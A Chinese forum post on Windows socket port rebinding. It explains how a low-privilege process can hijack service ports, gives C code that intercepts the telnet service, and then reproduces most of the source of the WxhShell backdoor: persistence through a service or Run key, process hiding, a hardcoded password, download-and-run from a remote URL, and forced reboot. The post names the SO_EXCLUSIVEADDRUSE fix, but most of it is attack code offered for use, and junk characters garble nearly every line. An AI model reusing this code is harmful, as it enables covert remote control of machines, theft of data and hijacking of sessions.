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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #5{xWMp/0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); phf{b+'#X  
pL;e(lM  
  saddr.sin_family = AF_INET; 7.ein:M|CB  
j$/#2%OVN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $t}W,?   
(}>)X]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x4wTQ$*1  
LA lX |b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >Ovz;  
d-e/0F!  
  这意味着什么?意味着可以进行如下的攻击: \$DBtq5=  
CdmpKkq#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w+*rbJ  
G/},lUzLg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ![r)KE=v8I  
0)b1'xt',  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "9aFA(H6w  
er-0i L@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vjt7X"_/  
tx9 %.)M:n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aZ\Z7(  
':_gYA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  WTl0}wi  
cQThpgha  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O{\<Izm`D  
VBDb K|  
  #include <D)@;A  
  #include o&@y^<UQ  
  #include <bg6k .s  
  #include    HDzeotD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @}!?}QU  
  int main() {v=[~H>bt  
  { dnwzf=+>e  
  WORD wVersionRequested; I{U|'a  
  DWORD ret; ts@$*  
  WSADATA wsaData; 8,RqhT)2#  
  BOOL val; Ax~ i`  
  SOCKADDR_IN saddr; 0]'  2i  
  SOCKADDR_IN scaddr; 8$47Y2r@  
  int err; 4]0:zS*O  
  SOCKET s; SC2LY  
  SOCKET sc; StTxga|  
  int caddsize; AI{0;0  
  HANDLE mt; #4LTUVH  
  DWORD tid;   rDoMz3[w  
  wVersionRequested = MAKEWORD( 2, 2 ); 1EQ:@1  
  err = WSAStartup( wVersionRequested, &wsaData ); Lk#)VGk:  
  if ( err != 0 ) { u #}1 M  
  printf("error!WSAStartup failed!\n"); e@Ev']  
  return -1; v*JKLA  
  } +,ar`:x&a  
  saddr.sin_family = AF_INET; H\<0{#F  
   C\BKdx5;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,98 F  
04v ~ K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \vc&V8  
  saddr.sin_port = htons(23); ~~k0&mK|Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AT3HH QD  
  { cyHbAtl  
  printf("error!socket failed!\n"); %Y'/_ esH2  
  return -1; q8/k $5E  
  } [kr-gV  
  val = TRUE; r^rk@W;[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5? Y(FhnIC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /@&o%I3h  
  { :]Om4Q\-#  
  printf("error!setsockopt failed!\n"); eS ?9}TG|  
  return -1; upk_;ae  
  } z~p!7q&g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7^! zT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Xg_l4!T_l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iY2q^z/S  
q^wSM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Hi~)C\  
  { G^K;+&T  
  ret=GetLastError(); 4K`b?{){+a  
  printf("error!bind failed!\n"); Bt$,=k  
  return -1; _<c}iZv@  
  } CA&VnO{r  
  listen(s,2); `<<9A\Y-f  
  while(1)  ;ud"1wH  
  { b|kL*{;  
  caddsize = sizeof(scaddr); &c&TQkx  
  //接受连接请求 a+k3wzJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); saQ ~v@  
  if(sc!=INVALID_SOCKET)  #X$s5H  
  { ls9Y?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?^7X2 u$nm  
  if(mt==NULL) p*YV*Arv  
  { DyZ6&*s$  
  printf("Thread Creat Failed!\n"); 0 .T5% _ /  
  break; 9X33{  
  } Tl-%;X<X  
  } ?g@X+!RB  
  CloseHandle(mt); =<aFkBX-  
  } u =~`5vA  
  closesocket(s); E1Q#@*rX>  
  WSACleanup(); })uyq_nz  
  return 0; t&5Ne ?  
  }   ?-`&YfF  
  DWORD WINAPI ClientThread(LPVOID lpParam) OQ<;w  
  { ze5#6Vzd&  
  SOCKET ss = (SOCKET)lpParam; wCv9VvF`  
  SOCKET sc; u:W/6QS  
  unsigned char buf[4096]; 152s<lu1Z  
  SOCKADDR_IN saddr; l>s@&%;Mg  
  long num; |90/tNe  
  DWORD val; [GI2%uA0  
  DWORD ret; sVmqx^-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *u,&?fCl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I7Abf7>*Q  
  saddr.sin_family = AF_INET; 5t_Dt<lIz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6iEg]FI  
  saddr.sin_port = htons(23); @/$i -?E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !>Q\Y`a,*  
  { ^vxNS[C`;  
  printf("error!socket failed!\n"); ? }`mQ<~  
  return -1; ==%5Ci7qMy  
  } e8(Qx3T?b  
  val = 100; j*f\Z!EeZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uXUuA/O5-  
  { 7'{Vh{.  
  ret = GetLastError(); w r,+9uK  
  return -1; y )<+?@sP  
  } SXJjagAoML  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7,alZ"%W  
  { 4,Uqcw?!F'  
  ret = GetLastError(); {36N=A  
  return -1; {:n1|_r4Z  
  } seP h%Sa_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1Id"|/b%$  
  { @"^7ASd%  
  printf("error!socket connect failed!\n"); JdWav!PYm  
  closesocket(sc); {'{9B  
  closesocket(ss); wHx_lsY;   
  return -1; 8.IenU9  
  } ty%,T.@e  
  while(1) ^4<&"aoo  
  { }m Ub1b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h>!9N dzG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UYW'pV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e$`hRZ%  
  num = recv(ss,buf,4096,0); WW^+X~Y  
  if(num>0) `P:[.hRu  
  send(sc,buf,num,0); H<?s[MH[  
  else if(num==0) -2 8bJ,  
  break; hK{<&T  
  num = recv(sc,buf,4096,0); Co=Bq{GY  
  if(num>0) u'DpZ  
  send(ss,buf,num,0); ^7;s4q  
  else if(num==0) $2}%3{<j  
  break; EUV8H}d5  
  } &=:3/;c  
  closesocket(ss); ZYt<O  
  closesocket(sc); gMPp'^g]_  
  return 0 ; Y Ztd IG  
  } M&Ln'BC  
n:1Ijh 1  
e VQ-?DK  
========================================================== }*qj,8-9  
tAY{+N]f  
下边附上一个代码,,WXhSHELL .EH1;/  
I6@"y0I  
========================================================== |~18MW  
AUIp vd  
#include "stdafx.h" WNKP';(a@G  
NN5Ejr,  
#include <stdio.h> kh#fUAt  
#include <string.h> fl2XI=[v4  
#include <windows.h> ga S}>?qk  
#include <winsock2.h> \W= qqE]  
#include <winsvc.h> fWi/mK3c  
#include <urlmon.h> V s=o@  
?Drq!?3PDc  
#pragma comment (lib, "Ws2_32.lib") Ve)BF1YG  
#pragma comment (lib, "urlmon.lib") z%lJWvaA7  
2\T\p<_20  
#define MAX_USER   100 // 最大客户端连接数 `QW=<Le?  
#define BUF_SOCK   200 // sock buffer MQ0r ln?  
#define KEY_BUFF   255 // 输入 buffer gA@Zx%0j  
27$,D XD  
#define REBOOT     0   // 重启 d/~g3n>|  
#define SHUTDOWN   1   // 关机 u3tT=5.D  
U)aftH *Pk  
#define DEF_PORT   5000 // 监听端口 .|s,':hA  
j4]3}t0q  
#define REG_LEN     16   // 注册表键长度 _z 5W*..  
#define SVC_LEN     80   // NT服务名长度 +PKsiUJ|  
Y}<%~z#.4  
// 从dll定义API YV@efPy}n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S3E5^n\\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GCfVH?Vx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R-1MD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mF jM6pmo  
AS;qJ)JfzQ  
// wxhshell配置信息 |')PQ  
struct WSCFG { ha 2=O  
  int ws_port;         // 监听端口 wp> z04  
  char ws_passstr[REG_LEN]; // 口令 @>V;guJC%  
  int ws_autoins;       // 安装标记, 1=yes 0=no DZ`m{l3H  
  char ws_regname[REG_LEN]; // 注册表键名 YgS,5::SU  
  char ws_svcname[REG_LEN]; // 服务名 <c!gg7@pm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rzLW @k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4i+%~X@p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N>]J$[j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #k`gm)|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8?YeaMIBB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q(~|roKA(  
 jIH^  
}; jiLJiYMg  
"dvo@n|  
// default Wxhshell configuration hCd? Kti  
struct WSCFG wscfg={DEF_PORT, eR6vO5to  
    "xuhuanlingzhe", <yBa5m@/  
    1, j:/Z_v'  
    "Wxhshell", g%!U7CM6h  
    "Wxhshell", fBv: TC%  
            "WxhShell Service", [ K'gvLt1  
    "Wrsky Windows CmdShell Service", k6RVP: V  
    "Please Input Your Password: ", &;L=f;   
  1, ^w<aS w  
  "http://www.wrsky.com/wxhshell.exe", D3P/: 4  
  "Wxhshell.exe" t4/ye>P &  
    }; P t/]Z<VL  
lI.oyR'  
// 消息定义模块 DX+zK'34  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C_8_sb Z/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q>rr?L`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cY kb3(  
char *msg_ws_ext="\n\rExit."; >!a- "  
char *msg_ws_end="\n\rQuit."; RtpV08s\  
char *msg_ws_boot="\n\rReboot..."; W g6H~x  
char *msg_ws_poff="\n\rShutdown..."; iemp%~UZ  
char *msg_ws_down="\n\rSave to "; $gD8[NAIx=  
z0SF2L H  
char *msg_ws_err="\n\rErr!"; .Y^cs+-o  
char *msg_ws_ok="\n\rOK!"; c:>&YGmhu  
iR88L&U>  
char ExeFile[MAX_PATH]; c%gL3kOT  
int nUser = 0; Qr 4 D  
HANDLE handles[MAX_USER]; bcpsjUiy#  
int OsIsNt; 5I^;v;F  
`M 'tuQ M  
SERVICE_STATUS       serviceStatus; ~ A=Gra  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @7C.0>W_A  
=y)K er  
// 函数声明 x|G :;{"+6  
int Install(void); 1;V_E2?V  
int Uninstall(void); @DY"~c cH  
int DownloadFile(char *sURL, SOCKET wsh); nw%`CnzT  
int Boot(int flag); f86Z #%  
void HideProc(void); >][D"  
int GetOsVer(void); cBZEyy&  
int Wxhshell(SOCKET wsl); >$E;."a  
void TalkWithClient(void *cs); g<.Is V  
int CmdShell(SOCKET sock); ci$J?a  
int StartFromService(void); Ef28  
int StartWxhshell(LPSTR lpCmdLine); ~ &Ne P  
xz.Jmv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m|c [C\)By  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vgD+Y   
GQ7uxdqWBQ  
// 数据结构和表定义 NlKVl~_ C  
SERVICE_TABLE_ENTRY DispatchTable[] = )OxcCV?5Z  
{ rVl 8?u y  
{wscfg.ws_svcname, NTServiceMain}, fi%i 2Wy  
{NULL, NULL} 3Ke6lV)uq  
}; m|{^T/kIbQ  
#5z0~Mg-X  
// 自我安装 =r7!QXPH}  
int Install(void) :/$WeAg  
{ `?3f76}h  
  char svExeFile[MAX_PATH]; ThI}~$Y  
  HKEY key; 9 i/ (  
  strcpy(svExeFile,ExeFile); )E>yoUhN  
Mb 4"bDBsl  
// 如果是win9x系统,修改注册表设为自启动 f pq|mY  
if(!OsIsNt) { 6uFw+Ya#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #fns3=/ H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&%,XwkQ  
  RegCloseKey(key); [X!w@d= i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PS+~JwDUc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NLG\*mQ  
  RegCloseKey(key); Q!V:=d  
  return 0; S_Wq`I@b  
    } "V 26\  
  } p'2IlQ\  
}  ID,_0b  
else { XC^*z[#4{  
;(Ug]U%3_  
// 如果是NT以上系统,安装为系统服务 L8Tm8)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lMvOYv  
if (schSCManager!=0) :,Y1#_\  
{ ~i>DF`w$  
  SC_HANDLE schService = CreateService %\T,=9tD\  
  ( K3[+L`pz  
  schSCManager, ~h;   
  wscfg.ws_svcname, 4dPTrBQ?  
  wscfg.ws_svcdisp, d9;&Y?fp  
  SERVICE_ALL_ACCESS, &|#[.ti1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B#jnM~fJz  
  SERVICE_AUTO_START, nv@z;#&  
  SERVICE_ERROR_NORMAL, k)S1Zs~G  
  svExeFile, 0 h!Du|?  
  NULL, # 5)/B  
  NULL, v>B412l  
  NULL, __.MS6"N  
  NULL, f?)7MR=  
  NULL <;PKec  
  ); J*$%d1  
  if (schService!=0) $$1t4=Pz  
  { "}*D,[C5e  
  CloseServiceHandle(schService); wb?k  
  CloseServiceHandle(schSCManager); gI;"PkN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `7: uc@  
  strcat(svExeFile,wscfg.ws_svcname); eQu(3sYb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j0; ~2W#G*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :1j8!R5  
  RegCloseKey(key); X%IqZ{ {  
  return 0; -GPJ,S V>  
    } Nyy&'\`!  
  } jo<xrn\  
  CloseServiceHandle(schSCManager); HC6U_d1-6  
} EXr2d"  
} Nb&j?./  
3U{ mC}F  
return 1; d ,98W=7  
} /)Cfm1$ic  
VbvP!<8  
// 自我卸载 T3{~f  
int Uninstall(void) /h+ W L  
{ dnoF)(d&Cm  
  HKEY key; K!&W}_@l  
z0<E3t  
if(!OsIsNt) { nZ(]WPIN"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CE`]X;#y  
  RegDeleteValue(key,wscfg.ws_regname); P>X[}  
  RegCloseKey(key); '@.6Rd 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;kk[x8$  
  RegDeleteValue(key,wscfg.ws_regname); & mOn]  
  RegCloseKey(key); rAu% bF  
  return 0; -!1=S: S  
  } s;OGb{H7  
} L?d?O  
} rz%~=Ca2j  
else { :C} I6v=  
lK=Is v+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u_^mN9h  
if (schSCManager!=0) Jq &Hz$L|  
{ ,Zn6T"[$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H%vfRl3rB  
  if (schService!=0) //2O#Fg{/  
  { ?pW1}: z  
  if(DeleteService(schService)!=0) { ; um)JCXz  
  CloseServiceHandle(schService); l&+O*=#Hh  
  CloseServiceHandle(schSCManager); BJux5Nh  
  return 0; r{R<J?Y  
  } );d07\V  
  CloseServiceHandle(schService); j9 >[^t3U  
  } Unb2D4&'  
  CloseServiceHandle(schSCManager); z1Ieva]  
} zK5&,/  
} ,6;n[p"h|r  
6U*CR=4  
return 1; 6^LXctW.  
} ):G%o  
U*=E(l  
// 从指定url下载文件 SPb +H19;  
int DownloadFile(char *sURL, SOCKET wsh) 0* F` h  
{ ^^"zjl*^  
  HRESULT hr; ~-A"j\gi"  
char seps[]= "/"; UF!qp  
char *token; d*d:-f~q  
char *file; 3O2G+G2  
char myURL[MAX_PATH]; /=p[k^A  
char myFILE[MAX_PATH]; ] H !ru  
O] PM L`  
strcpy(myURL,sURL); Q&]|W Xv  
  token=strtok(myURL,seps); w/*G!o- <  
  while(token!=NULL) !YAX.e  
  { k5Cy/gR  
    file=token; D5c 8sB  
  token=strtok(NULL,seps); u @Ze@N%  
  } ruGJZAhIA^  
; R+>}6  
GetCurrentDirectory(MAX_PATH,myFILE); T&'Jc  
strcat(myFILE, "\\"); ?A|JKOst]  
strcat(myFILE, file); S<i1t[E @W  
  send(wsh,myFILE,strlen(myFILE),0); w&L~+ Z<  
send(wsh,"...",3,0); O.B9w+G=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2/ 4zg  
  if(hr==S_OK) 4C3_ gm  
return 0; p$ \>3\  
else v ^h:E  
return 1; RdPk1?}K  
i4|R0>b  
} \lQ3j8 U  
bIiun a\  
// 系统电源模块 y{@\8B]  
int Boot(int flag) oM!&S'M/  
{ e|{R2z"^  
  HANDLE hToken; X+]>pA  
  TOKEN_PRIVILEGES tkp; lZ-U/$od  
~-zIB=TyK  
  if(OsIsNt) { ,N(Yjq"R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nnj<k5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H7tv iSTd  
    tkp.PrivilegeCount = 1; jvB[bS`<H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U)8yd,qG[%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .m]}Ba}J$  
if(flag==REBOOT) { pZ>yBY?R8>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ARG "  
  return 0; BF W b0;+  
} %!nI]|  
else {  !vf:mMo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8+[Vo_]  
  return 0; PN93.G(W  
} vQ*[tp#qU  
  } 0fewMS*  
  else { FJZ'P;3  
if(flag==REBOOT) { |;US)B8}*Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ni2#20L  
  return 0; :+/8n+@#  
} n!z!fh  
else { J1}\H$*X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7zH2dqrj  
  return 0; o^~ZXF}  
} @[J6JT*E  
} *,Bm:F<m  
T$lV+[7  
return 1;  .+1I>L  
} Z}$sY>E  
|` :cB  
// win9x进程隐藏模块 62HA[cr&)  
void HideProc(void) a5#G48'X  
{ hP+4{F*}-  
|s! _;6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^Q`5+  
  if ( hKernel != NULL ) +4%~.,<_to  
  { L-w3A:jk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !s-A`} s+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ndLEIqOY  
    FreeLibrary(hKernel);  ,RR{Y-  
  } A6=Z2i0w>X  
|,,#DSe  
return; gttsxOgktH  
} +JtKVF  
,}IcQu'O  
// 获取操作系统版本 f`Fj-<v  
int GetOsVer(void) Acw`ytV  
{ q?7''xk7  
  OSVERSIONINFO winfo; VF2,(f-*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IRQtA ZV$  
  GetVersionEx(&winfo); i)e6 U(H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,CyX*k8o  
  return 1; &'/"=lK  
  else } 9\_s*  
  return 0; mvjx &+q  
} nKGQU,C  
@ 3=pFYW)  
// 客户端句柄模块 F[}#7}xjA  
int Wxhshell(SOCKET wsl) 5Hu[*  
{ anW['!T9{s  
  SOCKET wsh; /FN:yCf  
  struct sockaddr_in client; vE )N6Ss  
  DWORD myID; 3q/Us0jr  
I]eeV+U8W  
  while(nUser<MAX_USER) x >ah,  
{ {nmu(E P  
  int nSize=sizeof(client); G{: B'08  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Xwk8<  
  if(wsh==INVALID_SOCKET) return 1; _\d|`3RM  
z~h?"'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =Oy&f:s  
if(handles[nUser]==0) ?Vg~7Eu0  
  closesocket(wsh); fSbLkd 9  
else 7310'wc  
  nUser++; E9\"@wu[d  
  } GbO j% a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); neu+h6#H  
A>gZl)c  
  return 0; S Q:H2vvD  
} :0y-n.-{  
ouCh2Y/_  
// 关闭 socket =Lkn   
void CloseIt(SOCKET wsh) MPUyu(-%{  
{ enPtW  
closesocket(wsh); !LH;K  
nUser--; lx2#C9L_  
ExitThread(0); p'LLzc##  
} g sm%4>sc  
R8[VD iM6E  
// 客户端请求句柄 0 8L;u7u  
void TalkWithClient(void *cs) tkV[^OeU>  
{ #D_Ti%.^}  
T2rwK2  
  SOCKET wsh=(SOCKET)cs; R7rM$|n=o  
  char pwd[SVC_LEN]; WILa8"M  
  char cmd[KEY_BUFF]; f.J^HQ_  
char chr[1]; |I1,9ex  
int i,j; kKF=%J?X  
/b # w.>e  
  while (nUser < MAX_USER) { k I`HD  
k+{~#@  
if(wscfg.ws_passstr) { -I{op wd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JYNn zgd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y&bYaq  
  //ZeroMemory(pwd,KEY_BUFF); gWHY7rv  
      i=0; =T3{!\tH  
  while(i<SVC_LEN) { (QIU3EN  
4OM ]8I!  
  // 设置超时 G h+;Vrx  
  fd_set FdRead; ?M4ig_  
  struct timeval TimeOut; UZt3Ua&J  
  FD_ZERO(&FdRead); &c-V QP(  
  FD_SET(wsh,&FdRead); vVtkB$]L  
  TimeOut.tv_sec=8; CX/[L)|Ru  
  TimeOut.tv_usec=0; b(N+_= n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;sA 5&a>!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4'D^>z!c  
c),UO^EqV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pRjEuOc  
  pwd=chr[0]; w;@v#<q6  
  if(chr[0]==0xd || chr[0]==0xa) { by9UwM=gp  
  pwd=0; J37vA zK%  
  break; pm+E)z6Yo  
  } / P@P1l|I  
  i++; !N+{X\+  
    } vrmMEWPV  
JUw|nUnl?  
  // 如果是非法用户,关闭 socket 0*]0#2Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); prO&"t >  
} o]p$ w[5  
o!h::j0,~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w$$pTk|&n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "d/54PKWx  
T#rUbi>""  
while(1) { I|*<[/)]y  
Z]LP18m9kl  
  ZeroMemory(cmd,KEY_BUFF); /b{@']  
#pRbRT9  
      // 自动支持客户端 telnet标准   dj084q7  
  j=0; H)TKk%`7  
  while(j<KEY_BUFF) { "=]'"'B:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0KExB{K  
  cmd[j]=chr[0]; )]Zdaw)X  
  if(chr[0]==0xa || chr[0]==0xd) { 7mnO60Z8N  
  cmd[j]=0; >Heuf"V  
  break; M"c=_5P  
  } " ?aE3$/  
  j++; 7h/Mkim$5  
    } d>J +7ex+  
umPN=0u6  
  // 下载文件 nUq@`G  
  if(strstr(cmd,"http://")) { 1h(n}u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;(E]mbV'=  
  if(DownloadFile(cmd,wsh)) 1| WDbk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D {E,XOi  
  else 0RdW.rZJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E\4ZUGy0  
  } uuHs)  
  else { *W |  
Q.4+"JoG  
    switch(cmd[0]) { {3os9r,  
  $!'Vn)Z7  
  // 帮助 G| &$/]~  
  case '?': { %j0c|u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BThrv$D}  
    break; #m7evb5eg*  
  } g>ke;SH%KY  
  // 安装 'U@Ep  
  case 'i': { \RVfgfe  
    if(Install()) "OP$n-*@%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uG.`  
    else Tpnwwx[]:|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |&S^L}V.C  
    break; h{]0 H'g  
    } qoQ,3&<  
  // 卸载 %> YRNW@%  
  case 'r': { /$qB&OWJn  
    if(Uninstall()) 29@m:=-}7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s*CBYzOm  
    else Ki :98a$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OpOR!  
    break; 5=<fJXf5y  
    } Jk<b#SZ[b  
  // 显示 wxhshell 所在路径 v>hc\H1P  
  case 'p': { NCkrf]*F-  
    char svExeFile[MAX_PATH]; l0!`>Xx[b  
    strcpy(svExeFile,"\n\r"); !9C]Fs*`?  
      strcat(svExeFile,ExeFile); B&3@b  
        send(wsh,svExeFile,strlen(svExeFile),0); v{SYz<(  
    break; 3gCP?%R  
    } _}H`(d%N  
  // 重启 !M6Km(>  
  case 'b': { yaC_r-%U&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -> 'q  
    if(Boot(REBOOT)) c@O7,y:`I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ o?  
    else { 0oyZlv*  
    closesocket(wsh); O,&p"K&Z  
    ExitThread(0); %[?{H} y  
    } S`spUq1o  
    break; 8 =3#S'n  
    } [HRP&jr  
  // 关机 Xs4G#QsA J  
  case 'd': { 2c9]Ja3:6  
